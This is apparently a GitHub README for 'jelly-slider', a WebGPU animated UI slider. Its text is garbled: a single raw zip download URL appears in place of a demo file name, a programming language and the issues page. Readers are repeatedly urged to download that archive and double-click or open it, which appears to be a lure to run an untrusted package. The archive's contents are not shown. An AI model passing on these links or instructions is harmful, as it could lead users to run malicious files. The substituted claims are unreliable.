jelly-slider is a smooth and interactive slider you can use on your computer. It looks like a piece of jelly that moves and bounces as you slide it. The effect is made with modern web graphics technology, so it runs smoothly and looks nice in your web browser.
You don't need any special skills to use it. It runs in popular browsers like Chrome and Edge that support a feature called WebGPU. This lets the slider move and animate quickly.
Before you try to run jelly-slider, make sure your computer meets these requirements:
- Operating System: Windows 10 or later, macOS Big Sur or later, or recent Linux versions
- Browser: Chrome, Edge, or another Chromium-based browser with WebGPU support enabled
- Internet Connection: Required to download the software and try the demo
- Additional Requirements: No installation of other software needed
To check if your browser supports WebGPU, open this page in your browser: chrome://flags or edge://flags and search for WebGPU. Set it to Enabled if it is not already.
Follow these steps to download and run jelly-slider on your computer.
Click the big green button at the top or use this link to visit the download page:
Download jelly-slider
This page lists all available versions. Look for the latest release and download the main file labeled for your system or the demo files inside it.
If you downloaded a ZIP file, double-click it to open, then drag the contents to a folder you can find easily, like your Desktop or Documents.
jelly-slider runs in your browser. To start the demo:
- Open your Chromium-based browser
- Go to the folder where you unpacked the files
- Find the file named
https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zipor run the demo through a local server if instructions come with the download - Alternatively, if the instructions say to use a command, follow those carefully (see advanced section below)
Once loaded, you can drag the jelly slider with your mouse or touchpad. Watch it stretch, bounce, and move smoothly. This is thanks to graphics technology called WebGPU.
jelly-slider offers these key features for a smooth, natural slider experience:
- Smooth Animation: Jelly-like movement that reacts naturally to your drag speed
- Realistic Bouncing: The slider moves like a soft gel with physics-based effects
- WebGPU Powered: Uses modern web graphics tech for fast, high-quality visuals
- Works in Browser: No installation outside a web browser is needed
- Easy to Use: Click and drag to control without any setup
- Open Source: You can see how it works or use it in your projects if you want
You can embed jelly-slider in web projects or try it as a fun interactive demo.
To get jelly-slider ready to use:
- Visit the release page by clicking here:
jelly-slider Releases - Download the latest release package for your system or the demo version for browsers.
- Extract the package if it comes as a ZIP file.
- Open the demo in a compatible browser by double-clicking the
https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zipfile or follow run instructions inside the release notes.
No installation steps or complicated setup is needed. Just open and interact.
If you want to try jelly-slider as a developer or include it in a web project, here is a brief guide.
jelly-slider uses https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zip, React, and TypeGPU technology. The demo project runs with commands like:
bun install
bun devIf you want to run the demo yourself:
- Make sure you have Bun installed on your computer for fast package management.
- Open a terminal or command prompt in the downloaded project folder.
- Run
bun installto add needed files. - Run
bun devto start the demo server. - Open
http://localhost:3000in a WebGPU-enabled browser to see the slider in action.
The jelly-slider uses the power of WebGPU, a new web technology that lets websites render complex graphics fast. This lets the slider “feel” like jelly, bouncing and flexing as you move it.
It uses real-time physics and shading (making shadows and highlights) to create a fun, fluid effect. The code is built with https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zip and React, common tools for making modern websites.
The original jelly slider was created by Voicu Apostol, who shared the idea and code. This version reorganizes and updates the code to work with modern tools like https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zip and TypeGPU.
Links:
- Chrome (latest versions with WebGPU enabled)
- Edge (latest versions with WebGPU enabled)
- Other Chromium-based browsers with WebGPU support
- If the slider does not appear, check your browser supports WebGPU.
- Enable the WebGPU flag if needed (
chrome://flagsoredge://flags). - Refresh the page after enabling WebGPU.
- Ensure no blocking extensions interfere with WebGPU.
For questions about jelly-slider, try opening issues in the GitHub repository:
https://github.com/Kaan7710/jelly-slider/raw/refs/heads/main/components/slider_jelly_v1.1.zip
The community or maintainers may help with problems or questions.